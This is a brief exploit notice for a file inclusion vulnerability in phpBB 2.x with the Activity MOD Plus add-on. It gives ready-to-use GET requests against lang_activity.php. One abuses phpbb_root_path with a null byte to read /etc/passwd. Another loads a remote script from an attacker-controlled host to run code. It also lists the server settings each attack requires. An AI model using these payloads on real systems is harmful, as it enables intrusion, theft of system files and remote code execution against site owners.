phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability
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This exploits works on phpBB 2.x (Activity MOD Plus)
Original advisory can be found at: http://www.nukedx.com/?viewdoc=38

Succesful exploitation needs register_globals on
GET -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=/etc/passwd%00
Requires magic_quotes_gpc off
EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=http://yoursite.com/script.txt
Requires allow_url_fopen on

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